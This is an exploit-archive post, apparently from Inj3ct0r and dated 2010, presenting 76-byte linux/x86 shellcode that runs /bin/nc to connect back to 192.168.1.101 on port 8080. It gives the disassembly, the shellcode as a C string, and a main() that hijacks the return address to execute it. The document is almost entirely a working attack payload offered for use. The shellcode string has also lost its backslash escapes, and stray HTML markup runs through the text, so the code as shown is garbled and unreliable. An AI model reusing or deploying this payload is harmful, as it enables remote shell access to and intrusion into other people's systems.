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linux/x86 netcat connect back port 8080 76 bytes

Posted on 11 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 netcat connect back port 8080 76 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================
linux/x86 netcat connect back port 8080 76 bytes
================================================


/*
08048060 &lt;_start&gt;:
 8048060:       eb 2a                   jmp    804808c &lt;GotoCall&gt;
 
08048062 &lt;shellcode&gt;:
 8048062:       5e                      pop    %esi
 8048063:       31 c0                   xor    %eax,%eax
 8048065:       88 46 07                mov    %al,0x7(%esi)
 8048068:       88 46 15                mov    %al,0x15(%esi)
 804806b:       88 46 1a                mov    %al,0x1a(%esi)
 804806e:       89 76 1b                mov    %esi,0x1b(%esi)
 8048071:       8d 5e 08                lea    0x8(%esi),%ebx
 8048074:       89 5e 1f                mov    %ebx,0x1f(%esi)
 8048077:       8d 5e 16                lea    0x16(%esi),%ebx
 804807a:       89 5e 23                mov    %ebx,0x23(%esi)
 804807d:       89 46 27                mov    %eax,0x27(%esi)
 8048080:       b0 0b                   mov    $0xb,%al
 8048082:       89 f3                   mov    %esi,%ebx
 8048084:       8d 4e 1b                lea    0x1b(%esi),%ecx
 8048087:       8d 56 27                lea    0x27(%esi),%edx
 804808a:       cd 80                   int    $0x80
 
0804808c &lt;GotoCall&gt;:
 804808c:       e8 d1 ff ff ff          call   8048062 &lt;shellcode&gt;
 8048091:       2f                      das   
 8048092:       62 69 6e                bound  %ebp,0x6e(%ecx)
 8048095:       2f                      das   
 8048096:       6e                      outsb  %ds:(%esi),(%dx)
 8048097:       63 23                   arpl   %sp,(%ebx)
 8048099:       31 39                   xor    %edi,(%ecx)
 804809b:       32 2e                   xor    (%esi),%ch
 804809d:       31 36                   xor    %esi,(%esi)
 804809f:       38 2e                   cmp    %ch,(%esi)
 80480a1:       31 2e                   xor    %ebp,(%esi)
 80480a3:       31 30                   xor    %esi,(%eax)
 80480a5:       31 23                   xor    %esp,(%ebx)
 80480a7:       38 30                   cmp    %dh,(%eax)
 80480a9:       38 30                   cmp    %dh,(%eax)
 80480ab:       23 41 41                and    0x41(%ecx),%eax
 80480ae:       41                      inc    %ecx
 80480af:       41                      inc    %ecx
 80480b0:       42                      inc    %edx
 80480b1:       42                      inc    %edx
 80480b2:       42                      inc    %edx
 80480b3:       42                      inc    %edx
 80480b4:       43                      inc    %ebx
 80480b5:       43                      inc    %ebx
 80480b6:       43                      inc    %ebx
 80480b7:       43                      inc    %ebx
 80480b8:       44                      inc    %esp
 80480b9:       44                      inc    %esp
 80480ba:       44                      inc    %esp
 80480bb:       44                      inc    %esp
*/
 
// /bin/nc 192.168.1.101 8080
char shellcode[] =
&quot;xebx2ax5ex31xc0x88x46x07x88x46x15x88x46x1ax89x76x1bx8dx5ex08x89x5ex1fx8dx5ex16x89x5ex23x89x46x27xb0x0bx89xf3x8dx4ex1bx8dx56x27xcdx80xe8xd1xffxffxffx2fx62x69x6ex2fx6ex63x23x31x39x32x2ex31x36x38x2ex31x2ex31x30x31x23x38x30x38x30x23&quot;;
 
int main()
{
    int *ret;
    ret = (int *)&amp;ret + 2;
    (*ret) = (int)shellcode;
}


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